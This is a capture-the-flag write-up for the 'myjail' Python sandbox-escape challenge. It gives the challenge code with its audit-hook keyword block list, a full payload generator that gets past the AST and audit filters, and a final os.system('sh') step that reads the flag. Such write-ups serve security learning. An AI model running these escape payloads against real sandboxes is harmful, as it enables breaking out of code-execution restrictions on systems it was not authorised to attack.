myjail
problem
chall.py
#!/usr/bin/env python3
# Thanks CSAW2023 for the inspiration
import ast
import sys
BANNED = {
#def not
ast.Import,
ast.ImportFrom,
ast.With,
ast.alias,
ast.Attribute,
ast.Constant,
#should be fine?
ast.Subscript,
ast.Assign,
ast.AnnAssign,
ast.AugAssign,
ast.For,
ast.Try,
ast.ExceptHandler,
ast.With,
ast.withitem,
ast.FunctionDef,
ast.Lambda,
ast.ClassDef,
#prob overkill but should be fine
ast.If,
ast.And,
ast.comprehension,
ast.In,
ast.Await,
ast.Global,
ast.Gt,
ast.ListComp,
ast.Slice,
ast.Return,
ast.List,
ast.Dict,
ast.Lt,
ast.AsyncFunctionDef,
ast.Eq,
ast.keyword,
ast.Mult,
ast.arguments,
ast.FormattedValue,
ast.Not,
ast.BoolOp,
ast.Or,
ast.Compare,
ast.GtE,
ast.ImportFrom,
ast.Tuple,
ast.NotEq,
ast.IfExp,
ast.alias,
ast.arg,
ast.JoinedStr,
# Patch some more >:)
ast.Match,
ast.Del,
ast.Starred,
ast.Is,
ast.NamedExpr,
}
def hook(event, args):
if not hook.exec and 'exec' in event:
hook.exec = True
return
strr = event + " ".join(f"{x}" for x in args)
strr = strr.lower()
if any(i in strr for i in [
'exec',
'print',
'import',
'system',
'flag',
'spawn',
'fork',
'open',
'subprocess',
'sys',
'ast',
'os',
'audit',
'hook'
'compile',
'__new__',
'frame']):
print("BONK audit!", event + " " + " ".join(f"{x}" for x in args))
exit()
# print("audit!", event + " " + " ".join(f"{x}" for x in args))
hook.exec = False
def banner():
print("Hello world! Please input your program here: ")
code = input()
for n in ast.walk(ast.parse(code)):
if type(n) in BANNED:
print("BAD CODE! BONK!: " + str(type(n)))
exit()
return code
code = banner()
code = compile(code, "<code>", "exec")
safer_builtins = __builtins__.__dict__.copy()
banned_builtins = [
'exec',
'eval',
'compile',
'type',
'globals',
'dir',
'callable',
'type',
'all',
'any',
'int',
'input',
'breakpoint',
'print',
'quit',
'exit',
'copyright',
'credits',
'license',
'help',
]
for banned in banned_builtins:
safer_builtins.pop(banned, None)
# safer
sys.addaudithook(hook)
exec(code, {"__builtins__": safer_builtins})
Dockerfile not needed to show here but the version is python 3.10
solution
firstly, only a few things are allowed to pass through the ast parser.
i checked the ast.*
attributes and filtered out the blocked ones and some misc ones
'Add', 'Assert', 'AsyncFor', 'AsyncWith', 'BinOp', 'BitAnd', 'BitOr', 'BitXor', 'Break', 'Bytes', 'Call', 'Continue', 'Div', 'ExtSlice', 'FloorDiv', 'GeneratorExp', 'Index', 'IntEnum',
'Invert', 'IsNot', 'LShift', 'Load', 'LtE', 'MatMult', 'MatchAs', 'MatchClass', 'MatchMapping', 'MatchOr', 'MatchSequence', 'MatchSingleton', 'MatchStar', 'MatchValue', 'Mod', 'Name',
'NameConstant','Nonlocal', 'NotIn', 'Param', 'Pass', 'Pow', 'RShift', 'Raise', 'Set', 'Store', 'Str', 'Sub', 'Suite', 'TypeIgnore', 'UAdd', 'USub', 'UnaryOp', 'While', 'Yield', 'YieldFrom'
so, function calls are allowed, and identifiers/names are allowed.
therefore, we can call functions like chr
, getattr
, setattr
, len
, etc.
notably, we also have access to unary tilde operator ~n
. also we have access to unary minus operator -n
.
interestingly, we cant get any raw numbers because they are filtered as ast.Constant
. but, we can get 0 from len(tuple())
because it creates an empty tuple and gets the length of it
to get 1 from 0, we can use the tilde operator to transform 0
into -1
because it flips all the bits in the number. then, we can negate it to get positive 1
. therefore, we can get arbitrary numbers by simply adding the 1s up
in theory this works, but i had this issue where part of the input would get cut off to 4095 characters.
it turns out that there is some problem where the stdin buffer to a python process from the terminal was limited to length 4096 including the null terminator.
so, instead i used a pipe command (python3 gen.py && { cat out.txt; cat; } | nc chal.nbctf.com 3038
)
the gen.py
is my final script.
however, because i thought that the 4095 byte limit was somehow a bug in the ast.parse (that’s where i got a “statement not valid” error), i thought it was part of the challenge.
so, i tried compressing it down using bit shifting and addition
from math import log2
one = "len({id})" # alternative compact way to get one by using a set (it is not parsed as ast.Constant)
def get_num(num: int):
raw_steps = [] # "shift" or "add"
big = int(log2(num))
for i in range(big, -1, -1):
raw_steps.append("shift")
if num & (1 << i):
raw_steps.append("add")
raw_steps = raw_steps[1:]
steps = []
shift_amt = 0
for step in raw_steps:
if step == "add":
if shift_amt:
steps.append(("shift", shift_amt))
shift_amt = 0
steps.append(("add", 1))
else:
shift_amt += 1
if shift_amt:
steps.append(("shift", shift_amt))
steps = steps[1:]
cmd = "-~len(tuple())"
# print(steps)
for name, amount in steps:
if name == "shift":
cmd = f"({cmd})<<({'+'.join([one]*amount)})"
else:
cmd = f"({cmd})+{one}"
return cmd
this algorithm gets a number in a very compressed format by using bit shifting and -~len(tuple())
.
>>> get_num(123)
'((((((((((-~len(tuple()))<<(len({id})))+len({id}))<<(len({id})))+len({id}))<<(len({id})))+len({id}))<<(len({id})+len({id})))+len({id}))<<(len({id})))+len({id})'
above is an example of usage of it
so we have access to getattr and setattr functions, but how can we get access to the outside when there is an audit hook thingy?
well, we can overwrite the functionality of hook
function by removing its access to stop the program with exit
. to do that, we can write exit
function in a smaller scope than builtins so that it is prioritized.
also for some reason we can do something like __builtins__.__import__("builtins")
without triggering the audit hook. this allows us to get the prohibited functions
so, the final idea is that we need to get access to the scope of __main__
. we can do that using sys.modules.
main ideas:
# first
__builtins__.get("__import__")("sys").modules.get("__main__").exit = __builtins__.get("__import__")("builtins").set
# second
__builtins__.get("__import__")("builtins").breakpoint()
from math import log2
one = "len({id})"
def get_num(num: int):
raw_steps = [] # "shift" or "add"
big = int(log2(num))
for i in range(big, -1, -1):
raw_steps.append("shift")
if num & (1 << i):
raw_steps.append("add")
raw_steps = raw_steps[1:]
steps = []
shift_amt = 0
for step in raw_steps:
if step == "add":
if shift_amt:
steps.append(("shift", shift_amt))
shift_amt = 0
steps.append(("add", 1))
else:
shift_amt += 1
if shift_amt:
steps.append(("shift", shift_amt))
steps = steps[1:]
cmd = "-~len(tuple())"
# print(steps)
for name, amount in steps:
if name == "shift":
cmd = f"({cmd})<<({'+'.join([one]*amount)})"
else:
cmd = f"({cmd})+{one}"
return cmd
def get_str(text: str):
total = []
for char in text:
total.append("chr(len(__builtins__)-(" + get_num(136 - ord(char)) + "))")
return "+".join(total)
# subclasses = f'getattr(getattr(getattr(tuple(), {get_str("__class__")}), {get_str("__base__")}), {get_str("__subclasses__")})()'
# payload = f'print(getattr({subclasses},{get_str("__getitem__")})({get_num(137)}))'
sys_modules = f'getattr(getattr(__builtins__, {get_str("get")})({get_str("__import__")})({get_str("sys")}),{get_str("modules")})'
main_module = f'getattr({sys_modules}, {get_str("get")})({get_str("__main__")})'
useless_func = f'getattr(getattr(__builtins__, {get_str("get")})({get_str("__import__")})({get_str("builtins")}),{get_str("set")})'
payload = f'setattr({main_module}, {get_str("exit")}, {useless_func});'
payload += f'getattr(getattr(__builtins__, {get_str("get")})({get_str("__import__")})({get_str("builtins")}),{get_str("breakpoint")})()'
payload += "\n"
print(payload)
print("="*30)
with open("out.txt", 'w') as f:
f.write(payload)
above is my final script
then, running the command python3 gen.py && { cat out.txt; cat; } | nc chal.nbctf.com 3038
, we get a bunch of gibberish outputted from the audit logs. but we also get a shell!
(Pdb) __import__('os').system("sh")
$ cat flag.txt
nbctf{1_had_s0me1_t3ll_m3_<REDACTED>}